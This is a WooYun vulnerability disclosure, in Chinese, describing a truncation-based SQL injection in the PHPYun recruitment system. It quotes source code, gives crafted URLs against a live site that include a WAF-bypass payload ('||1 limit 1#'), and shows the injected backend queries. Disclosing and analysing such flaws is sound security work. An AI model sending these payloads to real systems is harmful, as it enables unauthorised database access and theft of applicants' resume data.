当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089538

漏洞标题:PHP云人才系统某处设计缺陷导致的SQL注入

相关厂商:php云人才系统

漏洞作者: 龟兔赛跑

提交时间:2015-01-06 10:48

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-11: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-07: 细节向核心白帽子及相关领域专家公开
2015-03-17: 细节向普通白帽子公开
2015-03-27: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

PHP云人才系统某处设计缺陷导致的SQL注入
(最新版DEMO测试,同样适用低版本)

详细说明:

在文件/data/db.safety.php:193

193  foreach($_GET  as $id=>$v){
194
195 $str = html_entity_decode($v,ENT_QUOTES,"GB2312");
196
197 $v = common_htmlspecialchars($id,$v,$str,$config);
198 safesql($id,$v,"GET",$config);
199 $id = sfkeyword($id,$config);
200 $v = sfkeyword($v,$config);
201 if(!is_array($v))
202 $v=substr(strip_tags($v),0,80);
203 $_GET[$id]=$v;
204 }
205
206 foreach($_COOKIE as $id=>$v){
207
208 $str = html_entity_decode($v,ENT_QUOTES,"GB2312");
209
210 $v = common_htmlspecialchars($id,$v,$str,$config);
211 safesql($id,$v,"COOKIE",$config);
212 $id = sfkeyword($id,$config);
213 $v = sfkeyword($v,$config);
214 $v=substr(strip_tags($v),0,52);
215 $_COOKIE[$id]=$v;
216 }


第202行直接substr(strip_tags($v),0,80),然后赋值给$_GET[$id],这里存在被截断,导致注入\, 如果GET后面的参数可控,即可SQL注入。
下面我们以WAP版的一个例子来说明,URL为:

http://www.hr135.com/wap/index.php?m=user&keyword=&provinceid=&cityid=&three_cityid=&job1=&job1_son=&job_post=&job_classid=&hy=&exp=&edu=&report=&salary=&sex=&type=&uptime=


这里各个参数基本都是使用'引号了.
include/libs/Smarty_Compiler.class.php

1713  	 function _complie_userlist_start($tag_args)
1714 {
1715 $paramer = $this->_parse_attrs($tag_args);
1716 $item = str_replace("'","",$paramer[item]);
1717 global $db,$db_config,$config;
1718
1719 $ParamerArr = $this->GetSmarty($paramer,$_GET);
...snip...
1887
1888 if($paramer['exp']){
1889 $where .=" AND a.exp='".$paramer['exp']."'";
1890 }else{
1891 $where .=" AND a.exp>'0'";
1892 }
1893
1894 if($paramer['edu']){
1895 $where .=" AND a.edu='".$paramer['edu']."'";
1896 }else{
1897 $where .=" AND a.edu>'0'";
1898 }
1899
1900 if($paramer['sex'])
1901 {
1902 $where .=" AND a.sex='".$paramer['sex']."'";
1903 }
1904
...snip...
1970 $user=$db->select_alls("resume","resume_expect",$where.$limit,"b.*,a.*,a.name as username,b.provinceid as provinceid,b.cityid as cityid");


edu和sex是连续使用GET参数,前后都可控,所以我们构造一下这两个参数,edu正好是80位,sex随意:

http://www.hr135.com/wap/index.php?m=user&keyword=&provinceid=&cityid=&three_cityid=&job1=&job1_son=&job_post=&job_classid=&hy=&exp=&edu=01234567890123456789012345678901234567890123456789012345678901234567890123456789&report=&salary=&sex=1&type=&uptime=


后台执行的SQL为:

2014-12-31 17:12:41	SELECT count(b.id) as count FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND  a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='01234567890123456789012345678901234567890123456789012345678901234567890123456789' AND a.sex='1' ORDER BY b.lastupdate  DESC
2014-12-31 17:12:41 SELECT b.*,a.*,a.name as username,b.provinceid as provinceid,b.cityid as cityid FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='01234567890123456789012345678901234567890123456789012345678901234567890123456789' AND a.sex='1' ORDER BY b.lastupdate DESC limit 0,20


我们把edu的最后以为替换为\,由于substr,最后面的\\变成了\,则执行的SQL语句为:

2014-12-31 17:13:58	SELECT count(b.id) as count FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND  a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='0123456789012345678901234567890123456789012345678901234567890123456789012345678\' AND a.sex='1' ORDER BY b.lastupdate  DESC
2014-12-31 17:13:58 SELECT b.*,a.*,a.name as username,b.provinceid as provinceid,b.cityid as cityid FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='0123456789012345678901234567890123456789012345678901234567890123456789012345678\' AND a.sex='1' ORDER BY b.lastupdate DESC limit 0,20

3.png


接下来构造一下sex参数,由于/*!or*/会被安全狗拦截,使用||代替。sex为||1 limit 1#

http://www.hr135.com/wap/index.php?m=user&keyword=&provinceid=&cityid=&three_cityid=&job1=&job1_son=&job_post=&job_classid=&hy=&exp=&edu=0123456789012345678901234567890123456789012345678901234567890123456789012345678\&report=&salary=&sex=||1%20limit%201%23&type=&uptime=

显示1行数据(limit 1),后台执行的SQL为:

2014-12-31 17:19:02	SELECT count(b.id) as count FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND  a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='0123456789012345678901234567890123456789012345678901234567890123456789012345678\' AND a.sex='||1 limit 1#' ORDER BY b.lastupdate  DESC
2014-12-31 17:19:02 SELECT b.*,a.*,a.name as username,b.provinceid as provinceid,b.cityid as cityid FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='0123456789012345678901234567890123456789012345678901234567890123456789012345678\' AND a.sex='||1 limit 1#' ORDER BY b.lastupdate DESC limit 0,20

4.png


1.png


http://www.hr135.com/wap/index.php?m=user&keyword=&provinceid=&cityid=&three_cityid=&job1=&job1_son=&job_post=&job_classid=&hy=&exp=&edu=0123456789012345678901234567890123456789012345678901234567890123456789012345678\&report=&salary=&sex=||1%20limit%203%23&type=&uptime=

显示3行数据(limit 3),后台执行的SQL为:

2014-12-31 17:20:02	SELECT count(b.id) as count FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND  a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='0123456789012345678901234567890123456789012345678901234567890123456789012345678\' AND a.sex='||1 limit 3#' ORDER BY b.lastupdate  DESC
2014-12-31 17:20:02 SELECT b.*,a.*,a.name as username,b.provinceid as provinceid,b.cityid as cityid FROM phpyun_resume as a,phpyun_resume_expect as b WHERE a.status<>'2' and a.`r_status`<>'2' and b.`job_classid`<>'' and b.`open`='1' and a.`uid`=b.`uid` AND a.`def_job`=b.`id` AND b.hy<>'' AND a.exp>'0' AND a.edu='0123456789012345678901234567890123456789012345678901234567890123456789012345678\' AND a.sex='||1 limit 3#' ORDER BY b.lastupdate DESC limit 0,20

5.png

2.png

漏洞证明:

1.png


2.png

修复方案:

substr()以后最后以为字符不能为'\'
(乌云一个\总会变成两个?)

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无